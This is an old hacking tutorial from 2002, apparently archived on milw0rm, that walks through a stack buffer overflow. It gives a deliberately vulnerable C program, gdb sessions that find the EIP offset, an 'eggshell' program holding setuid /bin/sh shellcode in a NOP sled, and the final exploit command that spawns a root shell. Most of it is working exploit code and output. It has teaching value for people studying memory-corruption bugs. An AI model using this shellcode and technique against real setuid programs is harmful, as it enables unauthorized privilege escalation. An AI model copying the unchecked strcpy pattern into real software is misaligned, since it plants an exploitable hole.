---------------------- Start of paper ---------------------------
simple buffer overflow demonstration
Simo aka _6mO_HaCk <simo_at_morx_org>
05/2002
ok lets say our vulnerable program is the following
----------- start of vul.c --------------
/* vul.c by _6mO_HaCk */
#include <stdio.h>
int main(int argc, char * argv[])
{
char buffer[10];
if(argc < 2)
{
printf("Usage : %s buffer\n", argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("ur buffer : %s", buffer);
}
----------- end of vul.c ---------------
lets try now to overflow it
[simo@localhost lab]$ gcc vul.c -o vul
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 20'`
ur buffer : AAAAAAAAAAAAAAAAAAAA
20 bytes and still not able to overflow it, lets put a bigger buffer
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 30'`
Segmentation fault (core dumped)
we did it, we were able to overflow
lets try now to see what happened using our favorite debugger gdb
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40003e40 in process_envvars (modep=Cannot access memory at address
0x41414149
) at rtld.c:1463
1463
rtld.c: No such file or directory.
in rtld.c
(gdb) info reg eip
eip 0x40003e40 0x40003e40
(gdb) info reg ebp
ebp 0x41414141 0x41414141
as u see unfortunatly we were able just to rewrite the ebp (extended
base pointer
) address while we couldnt rewrite eip (extended instruction pointer)
seems we
still need a bigger buffer
let's retry with a bigger buffer size
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'`
Segmentation fault (core dumped)
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg ebp
ebp 0x41414141 0x41414141
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) q
well this time we did it, with a 32 buffer we were able to overwrite
both eip and ebp
with our new address 0x41414141 where 41 is the hex value for the ascii
caracter "A" :)
next step now is to find our shellcode return address, for that we will
have to load an eggshell
into our environment and then overflow the vulnerable program and find
the shellcode return address
a simple eggshell that i have written with setuid shellcode
-------------------------- start eggshell.c ----------------------------
include <stdio.h>
#define NOP 0x90 /* our nops (no operations) */
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() (not mine) */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(void)
{
char eggshell[512];
puts("eggshell by _6mO_HaCk, loaded into environment");
memset(eggshell,NOP,512);
memcpy(&eggshell[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", eggshell, 1);
putenv(eggshell);
system("/bin/bash");
return(0);
}
--------------------------- end eggshell.c -----------------------------
[simo@localhost lab]$ gcc eggshell.c -o eggshell; ./eggshell
eggshell by _6mO_HaCk, loaded into environment
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'`
Segmentation fault (core dumped)
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/s $esp
0xbffff570:
""
(gdb)
0xbffff571:
""
(gdb)
0xbffff572:
""
(gdb)
0xbffff573:
""
(gdb)
0xbffff574:
"Üõÿ¿äõÿ¿ö\202\004\bÀ\204\004\b"
we gonna keep hiting until we see our shellcode address
(gdb)
0xbffffa60:
"5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
(gdb)
0xbffffa93:
"MACHTYPE=i386-redhat-linux-gnu"
(gdb)
0xbffffab2:
"KDE_MULTIHEAD=false"
(gdb)
0xbffffac6:
"EGG=", '\220' <repeats 196 times>...
(gdb)
0xbffffb8e:
'\220' <repeats 200 times>... <---- thats the shellcode address that we
were looking for
(gdb)
0xbffffc56:
"\220\220\220\2201À1Û°\027Í\200ëZ^1À\210F\a1À1Û°'Í\200\205Àx21À1Ûf¸\020\001Í\200\
\205Àu\0171À1ÛP\215^\005SV°;PÍ\2001À\215\036\211^\b\211F\fP\215N\bQV°;PÍ\2001À\2\
15\036\211^\b\211F\f°\013\211ó\215N\b\215V\fÍ\200è¡ÿÿÿ/bin/shÀ\227\004\bäy\025@¨\
õÿ¿w\221\004@\001"
(gdb) Quit
(gdb) x/x 0xbffffb8e
0xbffffb8e:
0x90909090
ok now since we have found our shellcode address the next step will be to
overwrite our eip address with it to make it point to our shellcode
to do so we have first to convert our shellcode address to little endian
remember the address is 0xbffffb8e lets remove the 0x since its not
necessary
and then break up the address into 2 bytes lots bf ff fb 8e and then
convert it
by moving the last byte of the address to the first and so one
the new converted address will look like 8efbffbf but before we use this
address
we will have to add \x to our function printf before each byte so it
wont interpret
them as ascii caracters, so our new address will look like \x8e\xfb\xff\xbf
remember our buffer size was 32 and now we gonna add more 4 bytes
(shellcode return address)
so will need to remove 4 bytes from our initial buffer so we can add our
4 bytes return address
32 bytes - 4 bytes = 28 bytes
28 bytes + 4 bytes (shellcode return address) = 32 bytes
so lets give it a try
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 28'``printf
"\x8e\xfb\xff\xbf"`
sh-2.04#
see we did it, we were able to overwrite the eip with our shellcode
return address and therefor
make it point to our shellcode instructions, which spawned a suid shell
in our case
------------------------- End of paper ---------------------------
# milw0rm.com [2006-04-08]